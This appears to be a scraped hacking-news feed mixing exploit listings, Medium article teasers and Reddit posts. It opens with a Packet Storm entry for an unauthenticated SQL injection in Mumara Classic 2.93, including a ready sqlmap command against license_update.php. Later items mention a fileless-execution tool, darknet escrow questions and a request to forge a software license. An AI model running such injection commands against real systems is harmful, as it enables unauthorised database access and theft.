Exploit Collector
Mumara Classic 2.93 SQL Injection

https://3.bp.blogspot.com/-WgHI0tg_gBA/WWlu6qiRwXI/AAAAAAAAIJQ/y7F9DyJjlcsOiH2i6j2FGMtA3ctyoL26QCLcBGAs/s1600/h109.png
Mumara Classic versions 2.93 and below suffer from a remote SQL injection vulnerability.

MD5 | e99bd2dd9e8e8c155f25b63cc633aeab

Download
# Exploit Title: Mumara Classic 2.93 - 'license' SQL Injection (Unauthenticated)
# Date: 2021-11-11
# Exploit Author: (v0yager) Shain Lakin
# Vendor Homepage: https://mumara.com
# Version: <=
# Tested on: CentOS 7

-==== Vulnerability ====-

An SQL injection vulnerability in license_update.php in Mumara Classic
through 2.93 allows a remote unauthenticated attacker to execute
arbitrary SQL commands via the license parameter.

-==== POC ====-

Using SQLMap:

sqlmap -u https://target/license_update.php --method POST --data "license=MUMARA-Delux-01x84ndsa40&install=install" -p license --cookie="PHPSESSID=any32gbaer3jaeif108fjci9x" --dbms=mysql

Source:packetstormsecurity.com

Exploit Collector
Microsoft Windows MultiPoint Server 2011 SP1 Local Privilege Escalation

https://4.bp.blogspot.com/-gQsa2Au6OFw/WWlvKe9cGFI/AAAAAAAAIME/7MuhuX3Jqy0CeEu0oyVXmXST8BDpKvIGgCLcBGAs/s1600/h15.png
Microsoft MultiPoint Server 2011 version 6.1 Compilation 7601 Service Pack 1 suffers from an RpcEptMapper and Dnschade local privilege escalation vulnerability.

MD5 | cacf7141095d96fae201e42425d1f33d

Download
Source:packetstormsecurity.com

Dark Reading: Attacks/Breaches
How to Hire — and Retain — Effective Threat Hunters

Key characteristics that should be evaluated include curiosity, disposition, and fit with the culture.

fee - Execute ELF binaries without dropping files on disk
https://www.reddit.com/r/redteamsec/comments/qsij0r/fee_execute_elf_binaries_without_dropping_files/

submitted by /u/crower (https://www.reddit.com/user/crower)
[link] (https://github.com/nnsee/fileless-elf-exec) [comments] (https://www.reddit.com/r/redteamsec/comments/qsij0r/fee_execute_elf_binaries_without_dropping_files/)

___________________________
@hacking_Attack
@Hacking_Video

Deep Web
Es crow automatically paid

What did this mean

submitted by /u/mscott303
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Deep Web
Hypothetically speaking "if you bought somthing on escrow then the next day the dealer had the money without the es crow,why is this. Its confusing me lol

submitted by /u/mscott303
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Safe Browsing Tips to keep you safe while on the Internet

https://cdn-images-1.medium.com/max/1024/1*1R1uenVMvcaJx0vnkWBkfA.jpeg
Most of the time, the possibility of any cyber attack to work successfully requires the end user (you) to perform a certain action, which…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Pluck VM Walkthrough

https://cdn-images-1.medium.com/max/600/1*b31hiO4ynbDLRrXWEFF4aQ.png
Makineyi indirebilirsiniz.

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Ciberdelincuentes usan cada vez más el contrabando de HTML en ataques de malware y phishing

https://cdn-images-1.medium.com/max/1437/0*l5L1nwEoLC9vuMoE
PUBLICADO EN 12 NOVIEMBRE, 2021POR EHACKING

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Nmap for Pentester: Password Cracking

We will deal with the exhibit for Nmap Brute NSE Script for word reference assault in this article since Nmap is such a huge device that…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Abcbot: Un nuevo malware de botnet Wormable en evolución dirigido a Linux

https://cdn-images-1.medium.com/max/1536/0*lJTsP8ypTu7Fuh99
PUBLICADO EN 12 NOVIEMBRE, 2021POR EHACKING

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Wireless Penetration Testing: Wifipumpkin3

Wifipumpkin3 is a system that is based on python to give rebel passage assaults to red teamers and figures out. In this article, we would…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Breaking/sneaking into a security conference

Got this recommended to me last night, and for being a big security conference/expo, you would think they would have better security
https://www.youtube.com/watch?v=qM3imMiERdU&ab_channel=MaxFosh

submitted by /u/Mandela_Effect_2016
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Autodesk Simulation Mechanical discontinued but I want to keep using it

Like the title says, autodesk summarily dropped support of their simulation mechanical software and they refuse to issue any new license files for the software. So if you want to change machines you can't and if that machine dies, you're dead in the water.

The software uses a program called LMtools as a flex license server and it loads a license file keyed to the mac address of the server it is loaded on. The server is dying a slow death with random lockups and we need to change the server.

I tried simply changing the mac address in the license file to match the new machine, but I figured that was too simple to work and it didn't.

Is there a way to generate a new license file with a new mac address?

I don't even think this is illegal because they don't even sell or support the software anymore. In fact they don't even sell a product that can do the same things. They sell fusion 360 as a "replacement" but it's not remotely the same or with the same capability.

Any help would be appreciated.

submitted by /u/billyd60
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video